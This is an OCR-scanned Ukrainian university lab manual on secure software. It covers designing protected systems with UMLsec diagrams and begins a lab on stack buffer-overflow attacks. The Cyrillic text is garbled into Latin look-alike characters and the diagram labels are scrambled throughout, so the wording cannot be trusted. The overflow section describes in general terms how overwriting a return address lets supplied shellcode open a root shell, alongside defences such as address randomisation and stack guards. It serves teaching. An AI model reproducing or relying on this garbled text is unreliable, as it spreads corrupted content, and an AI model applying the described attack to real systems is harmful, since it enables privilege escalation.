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BCTVYII

Y nociOHHUKY BHUKIIAIECHO MaTepiaid MPaKTHYHOI YaCTHHU Hadajlh-
HOro Kypcy “OcHoBHU Oe3NeuHuX 1 pe3iibeHTHUX o0uucieHb (3okpema
Yactuna 4. besneka nporpaMHoro 3a0e3neueHHs 1 TEXHOIOTIi pe3ibe-
HTHUX 00uuciens)” (Fundamentals of security and resilient computing.
Software security and technologies for resilient computing), miaroros-
JIeHOoro B pamkax mpoekty Modernization of Postgraduate Studies on
Security and Resilience for Human and Industry Related Domains®
(reference number 543968-TEMPUS-1-2013-1-EE-TEMPUS-JPCR)

[Mogani maTepiaam NpUCBSYEHO (30Kpema po3ain 4) MeTonam 3a
3aco0am, 110 3aCTOCOBYIOTBCS AJISl PO3POOKH 3aXHIIEHOTO 1 pe3lIbEHT-
HOTO TIPOTpaMHOTo 3abe3neueHHs. MeTonnyHi peKoMeHaaIii 10 j1abo-
paTopHUX PoOIT MICTATH OMUC IHCTPYKLIN I OTPUMAHHSI PAKTHYHUX
HaBHKIiB B PO3pOOII 3aXUILEHUX MPOrpaMHUX cucTeM Ha ocHoBi UML
niarpam 3 BukopuctaHHsM UMLsec Ta HaBHKIB B JOCIIPKCHHI MEXaHi-
3MiB IepenoOBHEHHs Oydepa CTeKy.

VY kiHIl MOCIOHWKA HABEJCHO HaBYANBHY MPOrpaMy Kypcy, METO-
JIUYHI PeKOMEHIAIIT [110/10 BUKOHAHHS J1Ja00OpaTOPHUX POOIT.

[TociOHVK MpU3HAYEHUI Il MaricTpiB YHIBEPCHTETIB, 110 HaBYa-
I0ThCS 32 crnenianbHocTaMu Komm totepHi Hayku, Komm totepHa iHxe-
Hepis, [Iporpamua imkenepis, KibepOesneka, mpu BUBYEHHI METOJIIB Ta
3ac00iB PO3pOOKK OE3MEUYHOro MPOTrPAMHOIO 3a0E3IEUCHHS, a TaKOXK
MoXe OyTH KOpPHCHA BHKJIaJadaM, IO MPOBOISATH 3aHATTA 3 BiANOBil-
HHUX KYypCiB.

YOmom npoexm @unancupyemes npu noodepacke Esponeiickoii ko-
Muccuu. Ima nybauxayus (coodwenue) ompasicaem MHeHUst MOJIbKO A8Mopos,
u Komuccus ne mooicem Hecmu omeemcmeeHHOCmb 3a 11000e UCHOAb308aAHUe
cooepaicawyelics 6 Hem uHgpopmayuu.

This project has been funded with support from the European Com-
mission. This publication (communication) reflects the views only of the au-
thor, and the Commission cannot be held responsible for any use which may
be made of the information contained therein.



JladopaTopHa po6ora Nel.
Po3polka 3axuIeHuX MPOrpaMHUX CUCTEM 3 BUKOPHUCTAHHSIM
UMLsec

Merta i 3aBIaHHs1 JJa0OpPaTOPHOI po6OTH

MeTtoro 1abopaTopHOi POOOTH € OTPUMAaHHS MPAKTHUYHUX HABUKIB
B PO3po01i 3aXHUIICHUX NMPOrpaMHuX cucteM Ha ocHoBi UML niarpam 3
BukopucranHsiM UMLsec.

HasuasbHi 3aB1aHHA:

— OIpalloBaHs TEOPETUIHOTO MaTepiany;

— pocinimkenas UMLsec Ha 6a3i pisaux UML npiarpam.

[IpaxTuyni 3agaui:

— oTpuMaHHs HaBHUKiB ooynosu UMLsec miarpam;

— moOyoBa BiJNOBITHUX JEPEB IiJICH;

— iHTepHpeTaLisi OTPUMAaHMUX PE3yNbTaTiB 1 HAaJAaHHSI PEeKOMEHa-
il 10 3aXUCTy CUCTEMU;

— 3poOWUTH BHCHOBKH I0J0 BHKOopucTanHs UMLsec mist mpoek-
TyBaHHA 0€3MEYHOT CHCTEMHU.

TeopeTnunmii MmaTepian

UML nponoHye MexaHi3MH pO3IIUPEHHs Y BUTTISAL HOTaLil (1103-
Ha4yok). BoHn MoxyTh OyTH abo crepeoTHramy (HAMMCAHUMHU B TI0-
JIBIHUX KYTOBHX JIy’KKax) abo mapamu Ter-3HayeHHs (HalMCaHUMH B
¢dirypHux gayxkax). BukopucroByroun npodini MOXHa ITaTH KOHKpET-
HAH 3MICT MOJEILOBAHUM €JIEMEHTAM, BIIMIYEHMM LMMH MITKaMHU.
Posmmpennss UMLsec 1o UML 3acTOoCcOBYETBCS 111 BUKOPUCTAHHS
TaKHX PillleHb, 00 BUCIOBUTH BUMOTH JI0 OE3IEKH.

UMLsec ckiamaeTbest 3 HACTYITHUX THITIB Jliarpam, Mo OMHCYIOTh
Ppi3Hi ySIBICHHS PO CUCTEMY: Jliarpama BapiaHTiB BUKOPUCTAHHS, Jiar-
pama OisTBHOCTI, Jiarpama KJaciB, AiarpaMa ImociiJoBHOCTI, Statechart
Jiarpama i giarpama po3ropTaHHS.

Sk 3ramyBajnocs BUILE, TYT BUKOPHCTOBYETHCS KOMOIHALs ITpo1ie-
Cy, OPIEHTOBAHOT'O Ha MPELEJACHTH BUKOPUCTAHHS 3 IiJIXO0JIOM, Opi€H-
TOBaHMM Ha MeTy. BilbIl KOHKpeTHO, HEOOXiTHO PO3POOHUTH JAEPEBO
e Oe3neky nops 3 po3BUTKOM crienuikanii cucremu. Lini Oesre-
K{ BJIOCKOHAIIIOIOTHCS MapanieibHO, Jaloyl Olblle JIeTajed CHCTEMH
Ha HACTYIIHMX eTamax IpoeKTyBaHHs. lIpolec B 3aranbHOMY BUNAIKY
itepaniiauii. 1[[{o6 He yCKIagHIOBATH MPHUKIATNA BHKOPHUCTOBYIOTHCS



MOPIBHSIHO TPOCTI AepeBa mitei. Ha pucynky 1 posrsayTo IHTEpHET
Ha OCHOBI Oi3HEC-10/IaTKiB.

Tak six Oyne Buxkopuctano popmansuuii pparmentr UML, moxxna
MipKyBaTH (OpMajbHO, MOKA3ylOUM, HANPUKIA, II0 JaHa CHCTEMa €
3aXMINEHOI0 PIBHO HACTUILKH, HACKUIBKH € 3aXHMINCHUMH 1i OKpeMi
KOMITOHCHTH. TakuM YHHOM, MOXHa 3MEHIIMTH Oe3leKy 3araibHOl
CUCTEeMH JI0 Oe3IeKH BUKOPHCTOBYBAaHUX MEXaHI3MIB (HampuKia:, mpo-
TOKONM Oe3mekn). MeToro € MoKa3aTH yMOBH, MPH SIKUX TPOTOKOJIN
MOXYTh OyTH BUKOPHCTaHI 0E€3IIEYHO B KOHTEKCTI CHCTEMHU.

Purchase <<fair exchange>> !_LI
i start=buys good} {stop=sells good}

Purchase @
fair exchange
Goal tree

Customer Business

Pucynok 1 — [liarpama BapiaHTiB BUKOPUCTAHHS 3 JIEPEBOM LIiJIei

1106 MOSCHUTH BUIIQAKH BUKOPHCTaHHS OLIBII AETaJbHO BUKOPH-
CTaeMO Jiarpamy IisuIbHOCTI. 3TiHO MPHKIALy, PUCYHOK 2 MOSICHIOE
BUTIAJIOK BUKOPHUCTAHHS HAa PUCYHKY | 1 MOB'SI3aHe 3 HUM JIEPEBOM Ili-
neil OimpIn OKITaTHO, TMOMAI0YW JiarpaMy aKTHBHOCTI 1 JeTalbHile
JepeBo miyei. JliarpaMa akTUBHOCTI MOMITSETHCS HA JIBl YACTUHU OTIH-
CY AisUTBHOCTI Pi3HUX YaCTUH CUCTEMHU (TYT KIJI€HTIB 1 Oi3HeCy).

Bl mapu Ter-3HaveHHs {IIOYaTOK = IUTATUTH} 1 {3yNMUHKA = Ki-
HEllb} BUKOPHCTOBYIOTHCS /ISl TO3HAUYEHHS NeBHUX i, Tenep Oynb-
jgKa Taka CXeMa BHKOHYE BHMOTY O€3IEeKH CIIPaBEIJUBOTO OOMiHY,
HaABEJCHOI B Jliarpami Ha PUCYHKY 1, SIKIO AJis1 000X i, MO3HAYCHUX
IIMMH TTapaMH TeTr-3Ha4YeHHS, 1€ TOH BHIAJOK, IO SIKIIO OIHA 3 I
BUKOHYETHCS, TO B KiHIIl KiHIIIB BUKOHAETHCS iHIIA. SIK MOXKHA TIpojie-
MOHCTpPYBaTH Ha PiBHI (OpMaNbHOI CEMaHTHKH, Aiarpama AisUTbHOCTI
BUKOHY€ BUMOTY (1HTYITHUBHO, TOMY IO KIII€EHT MOK€ TIOBEPHYTH ILIa-
TDXK, SIKIO 3aMOBJICHHS HEIOCTABJICHE ITICJIS 3aIIAHOBAHOI JaTH MOCTA-



BKH), 32 YMOBH, III0 3aMOBHHK MOXE JOBECTH, IO BiH 3pOOMB TUIATIXK

(TIo3HAYCHY CTEPEOTHITY «IOKA30BO))), HAPHUKIIA, CIiAYIOUN IEBHOMY
MIPOTOKOITy OOMiHY.

<<fair exchange>> .
{start=Pay} {stop=final}
Customer

Request good
<(-.p]'(]\"ﬂ [
Pay {up=TTP}
( Waituntil ) | (Deliver order) payment provable

|provable(Pay TTP)]

Reclaim
g Goal tree

Pucynoxk 2 — Jliarpama AissIbHOCTI 1 1epeBO IiIei

Business

fair exchange

[After {fairexchange:buy}
will eventually reach
{fair exchange:deliver}]

Hiarpamu kiaaciB

3aiiMalo4YnCh TAaHUM TPUKIAZIOM, HA PHCYHKY 3 HaBEICHO OIHC
KJTFOYOBOTO T€HEpaTopa Ha PiBHI KJ1acy (TakWi K BUKOPUCTOBYBABCS B
MIPOTOKOJIi CIIPaBeJIMBOrO OOMiHY, SIKMI 3ragyBaBcsi Buuie). I eHepa-
TOp KJIFOUiB MPOTNOHYE MeTo]1 newkeyQ skuii ToBepTae Kk, JIIsl SIKO-
r'o BiH rapaHTye KOH(iIeHIIHHICTb 1 IUTICHICTS.

fair exchange
0 [After | fairexchange-buy}
will eventually reach
( - '
<secure dependency=> { fair exchange:deliver} ]
Key generation
Random generator Random number Key generator <<rotected=> 0 payment provable
- <<call>> : {secrecy=iniegrity=
seed: Real 404"""—————— [rewkey(Lrandom )
key integrity, key confidentiality
random(): Real
<<interface>> A v
Random number newkey(): Key
randomi(: Real random random
number number
integrity confidentiality
- - _ _ Goal tree

Pucynok 3 — [liarpama kiaciB i nepeBo mineit



3 immoro 00Ky, BiH BUKIWKae MeTon randomQ, sxuii moBepTae
BHITAJIKOBE YHCIIO, TTOTPiOHE /I 3a0e3MedeHHs IUTICHOCTI 1 KOH(DiIeH-
iHOCTI (SIK 3a3HAYEHO B CTEPEOTHITHOMY €JIeMEHTI MOJENi, «BUXiIHi
nii» nogani B UMLsec). Tyt 110 BUMOTY, OJ{HaK, He Oy/Jie¢ BUKOHAHO 3a
JIOTIOMOT'OI0 TeHepaTopa BHUIAJAKOBUX 4Hcel. SIK MPHKIaa PO3rIITHEMO
cnenudikartii Homebanking-Computer-Interface (HBCI), sikuii B pan-
Hill Bepcii (B pa3i RDH nmpoueaypu) notpedyBaB cucteMy KIIi€HTa IS
TOTO, 1100 BUKOHATH I'CHEPaIlil0 KIH0YiB 0€3 BU3HAUYCHHS BUMOI Oe3re-
KU JUIsl BAKOPUCTOBYBAHUX T€HEPATOPiB BUIAJKOBHX 4Hcell. Taki yiry-
HIEHHS, SIK 1€, MOXKYTh OyTH BHSBJICHI 32 TOTIOMOTOI0 HAILIOTO METOXLY
MoJeNoBaHHs. TyT mpuImycKaeThCsl, M0 aTpuOyTH MOBHICTIO iHKAICY-
JTHOBaHI omneparisiMi, To0TO aTpuOyT KJIaCy MOXKHA YHTATH i OHOBITIO-
BaTH TLIBKH 3a IOTIOMOI'0I0 OIlepalliii Kiacy.

JiarpamMu mocsiioBHOCTI

VY miaxomni, mo 6a3yerbest Ha UML, mpoTokonn O0e3nekn MOXKYTh
OyTH BH3HAYEHI 32 JOTIOMOTOIO JiarpaMu IOCITiIOBHOCTI ITOBiIOMJICHD.
Y IONOBHEHHI JI0 MPHUKIIAAY, TYT MPUIYCKAEThCA, IO OILIaTa 31HCHIO-
€TbCA 3 BHKOPHUCTAHHSAM IPOTOKONY mokymku 3 Common Eletronic
Purse Specifications (CEPS). 3okpema, abctpakTHi crierudikariii 06-
nacti Oe3MmeKkH, M0 MOKJIaJaeThcsl Ha MPaBUIBHICTH MPOTOKOIY YIOJ
KYIIiBJli, HABE/ICH1 HA PUCYHKY 4.

fair exchange
M-PSAM o [After {fairexchange-buy )
will eventually reach

communication, {fair exchange-deliver} ]

Init({SK_} } ) secure
ps KUK, (U) payment provable
y=limsg, ) il Resp({S }v) ‘ Key confidentiality
i — olRo
key integrity
=8
OK msg Sl candom random

resp K,
s number mumber
integrity confidentiality
Goal tree

Pucynok 4 — JliarpaMa mociIiIOBHOCTI 1 IepeBo Iiiiei

Honymenns Ha 0azoBomy (isnyHOMY piBHI (Hanpukiai, ¢Gizuanoi
Oe3mneku JIiHIA 3B'I3Ky) MOXKe OyTH BHpPaKeHO B cXeMax peaizarlii, a
MOBE/[IHKA KOHTEKCTY CHUCTEMH, OTOYCHOTO MPOTOKOIOM MOXeE OyTH
BKa3aHa 3a JONOMOIOI0 Aiarpam ctany. Ha pucyHky 4, nBa o0'ektu B
cucremi (kaptka C 1 Momynb Oe3neku poaatkiB nmokynku (PSAM) M)
OOMIHIOIOTBCSI TIOBIIOMIICHHSIMH, $IKi BKJIIOYAIOTh KpHUITorpadivHi



omepairii, Taki SK BiIKpUTHN Kirtoda mudpyBanss 1 miamucy. [udpy-
BaHHs 3HaueHHs ( (a0 MepeBipKHU MiAMKCY) 3 MyOaidHuM KiroueM K
nosHayaetbesi {d}g, AemmdpyBanss (a0o MIANMUCH) 3 3aKPUTHM KITIO-
uem K ™1 nosnauaetbes {d} -1 (U1 IPOCTOTH MPUITYCKAETHCS BUKOPH-
cranHs RSA tuny mm¢pyBanss). Takum guHoM, M HOYHHAETHCS 3
BimnpaBku C TOBIAOMJICHHS iHIITiaTi30BaHE 3 apryMEHTOM 3HAYCHHS
SKps (ceaHncoBwmii Kit04, cTBOpeHuit PSAM), miAnmucaHoro 3 3aKpUTHM
koueM M 1 3ammdpoBaHe 3a IOMOMOToI0 BiIKpUTOTro Kitoua MosH C.
C posimdpoBye OTpUMaHE MOBITOMJICHHS 3 3aKPUTHUM KIIIOYEM 1 mepe-
BipsI€ TAMKC 32 JOTIOMOTO0 BimkpuToro kiaroda M. C BHKOPHUCTOBYE
OTPUMAaHHUH CEaHCOBHH KIOY Ul MHU(PYBAHHS CEKPETHOTO S, SIKUM
MOTIM BiJNpPaBISETCS HA3aJd B SKOCTI apryMeHTy MoBinomieHHs Resp.
M po3mudpoBye oTpruMaHe TOBIJJOMIICHHS 3a JIOTIOMOTOIO KITFo4a cea-
HCY 1 BinnpasJisie Ha3an noBigomineHas OK.

Jiarpamu craHiB

[iarpama craHiB IOKa3ye AMHAMIYHY MOBEIIHKY OKPEMOIo 00'€K-
Ta: MOJiT MOXYTh BUKJIMKATH CTaH B 3MiHI a00 isX.

Tyt mokasaHo, sIK 1[el BUJ JiarpaMd MOKHa BHKOPHCTOBYBaTH B
koHTekcTi UMLsec 3 mpukiazoM 3a ydacTiO OXOPOHIB (HAIPHUKIA/I,
TaK sIK 11€ BUKOPUCTOBYEThCS B Oe3relli B Java) Ha pUCYHKY 5.

[origin=signed=finance weeklimit] \incThisWeek \return

CheckReq checkGuard()

"“'--\.._‘_‘_‘_‘q_‘_‘_‘__-_._'_'_#’_.’_,_-"

[otherwise] ‘\throw new SecurityException()

WaitReq

Pucynok 5 — JliarpaMa cTaHiB Jyis 00'€KTa OXOPOHIIS

Hiarpama cTaHiB CKIIaIa€eThCS 31 CTAHIB (3aMUCYIOTHCS Y BHUIIISAIL
KOpoOKH) 1 mepexoiB Mixk HUMHU. [louaTKOBUH CTaH BiJ3HAYCHO Tepe-
XOJIOM, SIKUM BHBOJIWTH 3 MOBHOTO Kona. [lepexoam Mixk cTaHamMu Mo-
KyTh OyTH MapKOBaHi 3 MOJisIMH, YMOBaMHU (B KBaJIpaTHUX IYKKax) i
IissMu (TIepeayroTh 3BOPOTHIN Kociit pucii). [lomis moxe OyTH mMeTo-
JIOM 3a3HaueHOro o00'eKTa MiJ HA3BOIO IHIIOrO 00'€kTa (HANpPHUKIAI,
nepexig nomiuenoro checkGuard Ha pucyHky 5), 1 iHTepIpeTaui€lo, 1o



Mepexii MapKOBAHHH 3 TTOMIECI0 CIIPAIILOBYE, SKIIO BiIOYBAETHCS OIS,
MMOKH 00'€EKT 3HAXOAWTHCS B CTaHi, Bij SKOi MEepexia BUXOIUTE. SIKIO
nepexij no3HadeHuii ymoBoto (cpopmynboBano B UML-acouifioBanmii
o0'ext MoBu oOMexxeHb (OCL) abo iHImMM YMHOM), TO BiH Oyae 3ailic-
HEHUH, SKII0 YMOBAa ICTHHHA B BIAMOBIMHUNA MOMEHT. SIKIO Tepexis
MO3HAYCHUH 3 Ji€r0 (KU MoKke OyTH, 11100 BUKJIHUKATH METO/] 1HILIOTO
00'exkTy ab0 MPUBIACHUTH 3HAYCHHS JIOKAJIBHOI 3MIHHOI), TO IS Jis
BUKOHYETHCS BCIKHI pa3, KOJH MepeXiJ| CIpalbOBYE.

[MpurnyctiMo, 10 JAeSKUM K04 IMiIIHCY MIKPOIUIATEeKIB MOXKE
OyTH BUKOPHCTaHMH TiNbKM aluIeTaMH, SKi BUXOIATH 1 HiAMUCYIOTHCS
caiftom (¢iHaHCiB (HanpuKiIan, 1 npuadanHs iHdopMauii npo mBHAI-
KiCTh TIepeladi akiliid Biji iMeHI KOpUCTyBaya), alie Iiel JOCTyH IOBH-
HEeH OyTH HaJlaHUH TUIBKU I'ATh pa3iB Ha THXKICHb.

ApxiTekTypa Oe3neku Java2 103BoJiss€ BUKOPUCTOBYBATH 00'€KTH
OXOPOHIII JUIS Ii€T METH, SIKI PETYJIIOI0Th AOCTYII 10 00'€kTa. Y HaloMy
NpUKIIaai 00'eKT 0XOpPOHeNb MOKe OyTH BKa3aHWH sIK TIOKa3aHO HA PH-
cyHky 5 (me ThisWeek migpaxoBye KibKICTh 3BepHEHb 332 TOTOYHHUI
Tk eHb 1 weeklimit piBHMIA true, sSIKIIO MeXa I1ie He JgocsaruyTa). Toml
MOYKHA TIOKa3aTH, BUKOPHCTOBYIOUH (hOpMallbHY CEMaHTHKY, IO TEBHI
BUMOT'H KOHTPOJIIO JOCTYILY 3a0€31eUyI0ThCSl OXOPOHLISIMH.

Hdiarpamu nakeris

HiarpaMu makeTiB MOXYTh OYTH BHKOPHCTaHI JJisi YrpyNOBaHHS
YacTUH CHUCTEMH Pa3oM B OJOKM BUILOro piBHA. BoHM rpaioTh poib
BIJHOIIIEHHS 10 O€3MeKH, OCKUILKH MOYKHA BKa3aTH BUIMMICTH 00'€KTIB
B MEXax IaKkeTy Ta 00'ekTu 1o3a nakeroM. Ha pucynky 6, maket Packl
mictuTh kiac Clsl 3 myOaiuHO0 BUAMMICTIO.

Packl Pack2

+(Clsl +Cls2a

SEACCERERE —lsh

Pucynok 6 — /liarpama makeTiB 3 BUIUMICTIO



ITaker Pack2 mictuth myOmiunuii kiaace Cls2a i mpuBaTHUER Kiiac
Cls2b. Takum unHom, kiac Cls2b He MOXKe OTpUMATH JOCTYII JI0 Kiacy
Clsl, HaBiTh skmo naket Packl mepenbavaeTscs Takum, mo Oyae MaTu
nmoctym jo nakery Pack?2.

Jiarpamu po3ropTaHHs

JliarpaMu pO3ropTaHHs OMUCYIOTh OCHOBHHUH (hi3MYHHMH PiBEHb.
BoHu BHKOPUCTOBYIOTBCS, IIO0 TapaHTyBaTH, IO BUMOTH Oe3reKu
10710 3B'SI3KY 33JI0BOJILHSIOTHCS 33 PAXYHOK (DI3UYHOTO PiBHS.

Hampukinan, Ha pucyHKy 7 omucaHo (Pi3WYHy CHUTYaIlil0, IO Jie-
JKUTh B OCHOBI CHUCTEMH, IO BKJIIOYAE CHCTEMY KIIi€HTa i BeO-cepep,
CIONTyYeHUX depe3 [HTepHerT.

JIBi KOPOOKM MOMIYEHI SIK KIIIEHT 1 BE€O-CepBEp MO3HAYAIOThH BY3JIH
B cuctemi (ToOTo (isnuni cyTHOCTi). Lli ABa MPSAMOKYTHHKA, TOMiYeHI
siKk Opay3ep 1 KOHTPOJb JOCTYITY SBIISIOTH COOOK0 CHCTEMHI KOMIIOHEH-
TH, 110 3HAXOAATHCS HA BIAMOBIAHUX By3Jax. KoMmmoHeHT Opay3ep mae
iHTepdeiic, KWl TPOMOHYE CHOCi0 OTpUMaTH mNapoib. KoMIoHEeHT
YIpaBIiHHS BUKIMKAE 16l METON 4yepe3 [HTepHeT 3a JOMOMOTOK Bij-
JTAJICHOTO BUKJIMKY METO.Y.

Crenuikailisi CHCTEMH BUMarae JaHi, repejaHi B 1[bOMY BUKJIH-
Ky, 100 TapaHTyBaTH KOH(DiIEHIIHHICTE 1 1imicHicTh. OMHAK, 1Ii BUMO-
TH HE BUKOHYIOTHCSI JIIHI€IO 3B’ S3KY, KA JISKUTH B OCHOBI (SIK TIPaBHIIO,
e OyJie BUPIITyBaTHCA 32 IOTIOMOTOI0 MU(pyBaHHS).

InternetAccess <<secure links>> |

client get_password <<sECrecy>> webserver
- }

-

browser <<Internet>>

access_control

Pucynoxk 7 — Jliarpama po3roptanHs At pi3UIHOTO PiBHA

3anponoHOBaHUH MiAXiA CIPSIMOBAHUH HA IHKAIICYIIOBaHHS 3HAHb
10 TU3aiiHy JUIS TIOJIETIIEHHS TOBTOPHOTO BHKOPUCTaHHS. MO)XHa BH-
KOPHCTOBYBAaTH pi3HI TMOHATTSA Oe3neku (Hampukian, KOH(IAEeHIiN-



HICTB, ITUTICHICTD, CIIPABXHICTB), OO BUCIIOBUTH BUMOTH JO OC3IEKH.
Tpancdopmariii TO3BOJAIOTH BBECTH IMAOIIOHU CIIPOIIEHHS BHOOPY
KOHKPETHHX MEXaHi3MiB 0€3MeKH, TaKi K OXOpOHA KOHTPOJIO TOCTYITY
JI0 00'€KTIB.

s cucteMaTHyHO Jif0490i B3a€EMOIIT MIXK TOTEHITIHHO KOH(QITIK-
TYIOUHMH a00 CHHEPTeTHYHHMH BHMOTAMH MO)KE€ MOYKHA BHKOPHCTO-
ByBaTH pi3Hi po3mmpenHs UML, gki omiHIOIOTH cHCTEMY KOHCTPYKIIT
3a Pi3HUMH BUMOTH, TAKUMH SIK BAMOTH JI0 TIPOJYKTUBHOCTI.

[IpoekTHi pillIeHHS OLIHIOIOTHCS Ha CHCTEMATHUYHIA OCHOBI 3 BHU-
KOPUCTaHHSIM yMOB Ha pmiarpamax B cneuudikanii UML. Ockinbku
UML niarpamu J03BOJISIIOTH Pi3HI YSIBIEHHS PO CUCTEMY, MOXKHA OLli-
HUTH TPOEKTHE PillIeHHs 00 HUX (BKIIOYAIOYM HANpHUKIay QiznuHe
CEPEIOBHIILIE).

Bukopuctanns UML poOuts iHTerpauito B po3poOKy i 3arajabHUAR
MPOIEC PO3POOKH BITHOCHO IPOCTHM, TaK K 0arato po3pOOHHKIB
3Hat0Th UML 1 MOXYTh BUKOPHUCTOBYBATH HOTO 0€3 BEJIUKOI KiJIbKOCTI
HAKJIaJHUX BUTpAT (micis BUBUEHHS iH(OpMarii mpo Oe3rneKky KOHKpe-
THO 3aJIaHOTO BiJIOBIHO J0 CTaHJAPTHUX MEXaHi3MiB pPO3IMIMPEHHS
UML (nHampukiiaf, CTEpEOTHIIN) ).

OpieHTOBaHMI Ha METY Mi/IXiJ O BUMOT MOJKE TPALIOBATH KpaIle
Ui He(DYHKITIOHATBHUX BUMOT, HIK ITiJIXiJl TIPELEICHTIB BUKOPUCTAH-
Hsa. [Ipote, Aeski mKepesia BKa3ylOTh Ha Te, 110 aHalli3, OPI€EHTOBaHUHN
Ha METY i 00'€KTHO-OPi€HTOBaHHA aHaJI3 JOMOBHIOIOTH OJWH OJHOTO.
TakuM 4MHOM, MOXKHA IUTITHO BHKOPUCTOBYBATH JEPEBO IMiAXOMIB IO
HeQYHKI[iOHATEHUX BUMOT 3 BukopuctanHsm UML. 3okpema, mporo-
HY€ThCS 00'€JHATH IMiJIXi/I, OPIEHTOBAHHUN HA TPEIEACHTH BUKOPHCTAH-
HA 0 (GYHKIIOHATHHUX BUMOT 3 IIXOAOM, OPIEHTOBAHHM Ha METY
11t BuMor Oesrieku. [Ipu iboMy BpaxoBYeThesl TOH (DakT, IO BUMOTH
0 Oe3rmeku (Hampukial, KOHQIACHINHHICTE), YaCTO 3aCTOCOBYIOThHCS
110 TIeBHUX (PYHKIIN (HApUKIIad, TIeBHEe 3HAYEeHHS) CUCTEMH, a HE CHC-
TEMHU B IIJIOMY, OCKIIBKH 3aCTOCYBaHHS BHMOTH O€3MeKH I BCi€l
CUCTEMH MOXe OyTH He3[lifiCHEeHHE.

IIporpama gociaixKeHb

B nporieci BukoHaHHs 1a00paTOPHOT pOOOTH HEOOX1THO:

1. Tlpomymatu cxeMy CUCTEMH, Ky Aaji OyIeMo JTOCITiIKYBaTH.
2. TloOynyBatu Ha BuOip Tprt UML miarpamu.

3. JlomoBHuTH MOOYMOBaHI Aiarpamu no3HayeHHs Mu UMLsec.



4. ChopmyBatu 3BiT 3a pe3yIbTaTaMHt JOCIIIHKCHH.
5. 3poOuTH BUCHOBKH.

Bumoru 1o 3micTy 3BiTY

3BIT TOBUHEH MIiCTHUTH:

— TUTYJbHUHN apKylI;

— METY 1 Iporpamy MPOBEACHHS TOCIIKEHb;

— o0pani UML nmiarpamu, sIKi OITUCYIOTh CUCTEMY;
— nomnoHeHi UML niarpamu;

— BHCHOBKH 1O POOOTI.

KonTpoJbHi 3anuTaHHs

1. ki icHyIOTH maxomu (cTpaTerii) A0 MPOEKTYBaHHS IPOTrpaM-
HOTO 3a0e3redeHHs?

2. V sakuit cioci® miarpamu UMLSec natoTb 3MOTy MpOEKTYBaTH
3axHILIeHe IporpaMHe 3a0e3MeYeHHs ?

3. Haenith mpukianu (yHKIIOHATBHUX 1 He(yHKIIOHAIHHUX
BHMOT JI0 PO3POOKH MPOrpaMHOro 3a0e3rnedeHHs?

4. Sk BuMoru Oe3neKd MOXKYTh OyTH CHCTEMAaTHYHO 1HTErpoOBaHi
B KOHCTPYKIIiIO, Pa30M 3 IHIIIMMH TUTIAaMH He (DYHKIIOHATbHUX BUMOT?

5. Ha3BiTh OCHOBHI IOHATTS 00’ €KTHO-OPIEHTOBAHOTO MiIXOY.

6. Bkaxite MeTy moOYyZOBH IiarpaM: NpELENeHTIB, TiSUIbHOCTI,
CTaHIB, KOMITOHETIB, KJIACiB.



JlaGopaTopHa podoTa Ne2.
JocinzkeHHsI aTaKM HA NepenoBHeHHsI Oydepa cTeky

Mera i 3aBraHHs J1a0opaTOpPHOI podOTH

Mertoro nabopaTopHOi poOOTH € OTPUMAaHHS NMPAKTHIHUX HABUKIB
B JIOCITIKEHHI MEXaHi3MiB ITepenoBHEHHS Oydepa CTeKy.

HapuanbHi 3aBiaHHS:

- OIIPAIIOBaHS TEOPETUIHOTO MaTepiany;

- HAJaTU CTYJACHTaM IEepIINi MPAaKTUYHUH JOCBIJl aTaK IeperoB-
HenHs Oydepa (buffer-overflow attack)..

[IpakTuyHi 3aqa4i:

- OTpUMAaHHS HaBHKIB O€3MEYHOr0 POrpaMyBaHHS;

- IHTEepIIpeTallisl OTPUMAHUX PE3YJIbTATIB 1 HAlaHHS PEKOMEHIALIiH
0 3aXHUCTY CHCTEMH;

- 3pOOUTH BHUCHOBKM WIOJO 3aXUCTY BiJI aTak Ha TMEpernoOBHEHHS
Ooydepa CTeKy IS pO3pOOKH 3aXHINEHOr0 MPOTrPaMHOIO 3a0e3IeUeH-
HSL.

1. TeopeTuunnii MaTepiaj

Jana ataka BUKOPHCTOBYE BpPasJHBICTh mepenoBHEHHA Oydepa B
mporpami, o0 3aMiHUTH 1i IOCIIAOBHICTh KOMaHI Ipoiiecopa (Koa) Ha
Ty, 110 3AIACHIOE MEpexiJ 10 aJbTePHATHBHOIO KOAY (SKHUH 3a3BHUYaH,
3amyckae KOMaHaHy 000J10HKY). TouYHiIle, aTaka MepernoBHIOE BPa3in-
BUll Oydep, m00 BBECTH aJlbTEPHATHBHUN KOJ 1 HAICKHAM YHHOM
MOTUQIKye ajpecy MOBepHEHHs 3 QYHKII, 10 30epiraeThCsi B CTEKY
(Ha TOM, MO Beme IO ambTepHATHBHOTO KOHIYy). ICHye Kilbka METOHIB
JUTSI 3aXUCTY BiJl 1Ti€l ataku (0e3 BUIIPaBIeHHS caMOil BPa3IMBOCTI), TaKi
SK paHaoMizarlis (aHri. random — BUMAAKOBHIT) POCTOPY aapec, KOM-
TSI TIpoTrpaMu 3 MEXaHI3MOM 3aXHCTy cTeKy (stack guard), Bimku-
JTAaHHS TMPUBLIETIN CynepKoprcTyBaya (MOsSCHEHHS HUXKYE) TOIIO.

VY nauiit naboparopHiii poOOTI CTyICHTaM JIaHa porpama 3 JaHOH
Bpa3NUBICTIO Y Oydepi BuaiieHoMy 3i cTeky (cTekoBuii Oydep). Takox
im manmnii shellcode — GiHapHUI KO, [0 BUKJIMKAE KOMaHIHY O0OJIOH-
Ky. IXHiM 3aB/JaHHS € BUKOPHCTATH BPa3IUBiCTh HepernoBHeHHs Oydepa
JUTSI HECAHKI[IOHOBAHOI 3MiHHM CTEKY IS TOTO, 00 3aMiCTh TIOBEPHEH-
HS IO MicIid, 3BiAKY 1ie# kof (dyHKIis) OyB BUKIMKAHHH, BIH TIepeXo-
muth 1o shellcode, mo BimkpuBaroe KoMaHIHY OOOJIOHKY 3 TpaBaMu



cynepkopucTtyBada. CTyIEHTH TaKOXX O3HAHOMIIATHCA 3 KiJIbKOMa cXe-
MaMH 3axucTy peanizoBanumu B Ubuntu (tounimre sapi Linux) mist
yYHUKHEHHs i€l aTaku. CTyaeHTH OyAyTh BU3HAUATH UM MPALIOOTH IIi
CXEMH YH Hi.

Ipumimka: barato mornomixkHol iHpopMarrii MoxxkHa 3HaiTH B Ce-
kil 12.1 HmKYe; 000B’SI3KOBO MpouuTaiTe 1 mepes] MmoYyaTKOM BHKO-
HaHHA. Takox y pa3i BUHMKHEHHS NHUTaHb BaM JONOXYTb ‘‘B3momy-
